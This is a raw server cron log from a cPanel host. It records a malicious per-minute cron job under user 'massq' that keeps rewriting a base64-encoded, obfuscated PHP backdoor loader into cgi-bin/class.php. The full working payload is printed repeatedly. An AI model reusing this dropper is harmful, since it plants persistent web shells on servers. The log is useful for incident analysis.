Apr 11 03:23:01 server CROND[11149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:24:01 server CROND[11374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:25:01 server CROND[11437]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:25:01 server CROND[11438]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:25:01 server CROND[11441]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:26:01 server CROND[11563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:27:01 server CROND[11634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:27:01 server CROND[11635]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/nightly_gzip)
Apr 11 03:27:01 server CROND[11636]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 03:28:01 server CROND[11715]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:29:01 server CROND[11873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:30:01 server CROND[11941]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 03:30:01 server CROND[11942]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:30:01 server CROND[11943]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:30:01 server CROND[11944]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 03:31:01 server CROND[12075]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:32:01 server CROND[12136]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:33:01 server anacron[9111]: Job `cron.daily' started
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12201]: starting csget
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12210]: finished csget
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12201]: starting logclean
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12224]: finished logclean
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12201]: starting logrotate
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12231]: finished logrotate
Apr 11 03:33:01 server run-parts(/etc/cron.daily)[12201]: starting maldet
Apr 11 03:33:01 server CROND[12290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:34:01 server CROND[12352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:35:02 server CROND[12518]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 03:35:02 server CROND[12521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 03:35:02 server CROND[12522]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 11 03:35:02 server CROND[12524]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 03:35:02 server CROND[12520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
